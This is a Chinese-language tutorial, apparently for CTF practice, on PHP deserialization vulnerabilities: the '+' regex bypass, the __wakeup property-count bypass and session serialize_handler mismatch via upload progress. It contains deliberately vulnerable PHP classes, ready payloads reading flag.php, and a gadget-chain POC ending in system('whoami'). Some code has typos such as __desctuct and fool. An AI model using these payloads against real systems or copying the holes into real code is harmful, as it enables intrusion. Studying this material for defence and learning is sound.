内存数据是稍纵即逝的;通常,程序执行结束,立即全部销毁。变量所存储的数据,就是内存数据;文件是持久数据
序列化:就是将内存的变量数据,“保存”到文件中的持久数据的过程。简化就是:将内存变为文件
反序列化:就是将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程。简化就是:将文件变为内存
漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell 等一系列不可控的后果。
序列化的含义
\x00 + 类名 + \00 + 变量名 反序列化出来的是 private 变量
\x00 + * + \x00 + 变量名 反序列化出来的是 protected 变量
直接变量名反序列化出来的是 public 变量
对象前加 + 可以绕过正则
- <?php
- @error_reporting(1);
- class baby
- {
- public $file;
- function __toString()
- {
- if(isset($this->file))
- {
- $filename = "./{$this->file}";
- if (file_get_contents($filename))
- {
- return file_get_contents($filename);
- }
- }
- }
- }
- if (isset($_GET['data']))
- {
- $data = $_GET['data'];
- preg_match('/[oc]:\d+:/i',$data,$matches); // 这里匹配到 O 后面跟着数字就拦截
- if(count($matches))
- {
- die('Hacker!');
- }
- else
- {
- $good = unserialize($data);
- echo $good;
- }
- }
- else
- {
- highlight_file("./index.php");
- }
- ?>
-
Payload: url?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
当序列化字符串中,如果表示对象属性个数的值大于真实属性个数时,就会跳过__wakeup 的执行
- <?php
- class SoFun {
- protected $file = 'index.php';
- function __destruct() {
- if (!empty($this->file)) {
- if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) show_source(dirname(__FILE__) . '/' . $this->file);
- else die('Wrong filename.');
- }
- }
-
- function __wakeup() {
- $this->file = 'index.php';
- }
-
- public function __toString() {
- return '';
- }
- }
- if (!isset($_GET['file'])) {
- show_source('index.php');
- } else {
- $file = base64_decode($_GET['file']);
- echo unserialize($file);
- }
- ?>
- #<!--key in flag.php-->
-
payload: url?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
当 session_start() 被调用或者 php.ini 中 session.auto_start 为 1 时,PHP 内部调用会话管理器,访问用户 session 被序列化以后,存储到指定目录(默认为 /tmp)。
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
配置文件 php.ini 中含有这几个与 session 存储相关的配置项:
- session.save_path = "E:/wamp64/tmp" -- 设置 session 的存储路径,默认在 /tmp
- session.auto_start = 0 -- 指定会话模块是否在请求开始时启动一个会话,默认为 0 不启动
- session.serialize_handler = php -- 定义用来序列化/反序列化的处理器名字。默认使用 php
-
PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器,默认为 php。如果要修改为其他的引擎,只需要添加代码 ini_set('session.serialize_handler', '需要设置的引擎') ,如下所示:
- <?php
- ini_set('session.serialize_handler', 'php');
- session_start();
- $SESSION['a'] = $_GET['a'];
-
存储的文件是以 sess_sessionid 来进行命名的,文件的内容就是 session 值的序列化之后的内容。可在 session.save_path 对应路径下看到一个新生成的 session 文件,这里名为 sess_cj15cikdujk6uv3bdq6qvonbe7 ,可以看到存储格式为: 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 : a|s3:"123";
使用 php_serialize 处理器:
- <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $SESSION['a'] = $_GET['a'];
-
格式:经过 serialize() 函数反序列处理的数组: a:1:{s:1:"a";s:3:"123";}
如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。
示例 当存储是 php_serialize 处理,然后调用时使用 php 处理器去处理,如果这时注入的数据是: a=|O:4:"test":0{} ,那么 session 中的内容是 a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";} ,根据解释,其中 a:1:{s:1:"a";s:16:" 在经过 php 解析后被看作成键名,后面就是一个实例化的 test 对象的注入
当配置选项 session_auto_start=Off ,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题。
index.php
- <?php
- show_source(__FILE__);
- ini_set('session.serialize_handler', 'php');
- require('./class.php');
- session_start();
- $obj = new fool();
- $obj->varr = "phpinfo.php";
-
class.php
- <?php
- highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
- show_source(__FILE__);
-
- class foo1{
- public $varr;
- function __construct(){
- $this->varr = "i.php";
- }
- function __destruct(){
- if(file_exists($this->varr)){
- echo "<br>文件".$this->varr."存在<br>";
- }
- echo "<br>这是 foo1 的析构函数<br>";
- }
- }
-
- class foo2{
- public $varr;
- public $obj;
- function __construct(){
- $this->varr = '1234567890';
- $this->obj = null;
- }
- function __toString(){
- $this->obj->execute();
- return $this->varr;
- }
- function __desctuct(){
- echo "<br>这是 foo2 的析构函数<br>";
- }
- }
-
- class foo3{
- public $varr;
- function execute(){
- eval($this->varr);
- }
- function __desctuct(){
- echo "<br>这是 foo3 的析构函数<br>";
- }
- }
- ?>
-
phpinfo.php
- <?php
- show_source(__FILE__);
- session_start();
- require("./class.php");
- $f3 = new foo3();
- $f3->varr = "phpinfo();";
- $f3->execute();
- ?
-
可以看到, index.php 中用的是 php 处理器。
在 php.ini 中的关键配置,注意配置中的 session.serialize_handler :
- session.serialize_handler=php_serialize
- session.upload_progress.cleanup=Off
- session.upload_progress.enabled=On
-
可以访问 phpinfo.php 查看配置信息:
默认是采用 php 处理器处理 session, session.upload_progress.cleanup 配置为 Off , session.upload_progress.enabled 配置为 On 。
session.upload_progress.enabled ,当它为开启状态时,PHP 能够在每一个文件上传时监测上传进度。当一个上传在处理中,同时 POST 一个与 php.ini 中设置的 session.upload_progress.name 同名变量时,上传进度就可以在 $_SESSION 中获得。当 PHP 检测到这种 POST 请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
当前代码的话没有向服务器提交数据,但是现在 session.upload_progress.enabled 是开启的,所以可以通过上传文件,从而在 session 文件中写入数据。
也就是说,利用点是通过 session.upload_progress.enabled 来上传文件向 session 文件中写入 php_serialize 处理器格式的内容,从而与 index.php 中 php 处理器不同进而造成 session 反序列化漏洞的存在。
poc.php ,用于生成序列化 poc,在 foo1 中的构造函数中定义 $varr 的值为 foo2 的实例,在 foo2 中定义 $obj 为 foo3 的实例,在 foo3 中定义 $varr 的值为 system(‘whoami’); :
poc.php
- <?php
- class foo3{
- public $varr;
- function __construct(){
- $this->varr = "system('whoami');";
- }
- }
-
- class foo2{
- public $varr;
- public $obj;
- function __construct(){
- $this->varr = '1';
- $this->obj = new foo3();
- }
- }
-
- class foo1{
- public $varr;
- function __construct(){
- $this->varr = new foo2();
- }
- }
-
- echo serialize(new foo1());
- ?>
-
form.html,一个向 index.php 提交 POST 请求的表单文件,其中包括 PHP_SESSION_UPLOAD_PROGRESS 变量:
- <form action="http://127.0.0.1/i.php" method="POST" enctype="multipart/form-data">
- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="geekby" />
- <input type="file" name="file" />
- <input type="submit" />
- </form>
-
Burpsuite 截断该 form.html 发送的 POST 请求,在 PHP_SESSION_UPLOAD_PROGRESS 一栏中的值加上 poc.php 生成的 poc 就能够成功执行命令了:
- |O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:19:"system("whoami");";}}}